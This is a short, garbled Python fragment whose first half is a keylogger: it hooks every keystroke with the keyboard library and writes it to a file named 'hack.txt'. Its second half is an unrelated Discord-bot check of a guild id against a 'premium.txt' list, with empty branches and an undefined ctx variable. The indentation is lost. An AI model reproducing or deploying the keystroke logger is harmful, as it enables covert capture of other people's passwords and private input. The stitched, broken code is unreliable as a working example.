import keyboard
def print_pressed_keys (file):
def wraps (e):
file.write (str (e) + ' ' + str (e.name))
return wraps
with open ('hack.txt', 'w') as file:
keyboard.hook(print_pressed_keys (file))
keyboard.wait()
with open ('premium.txt', 'r') as file:
premium = file.read ().split ('\n')
if str (ctx.guild.id) in premium:
pass
else:
pass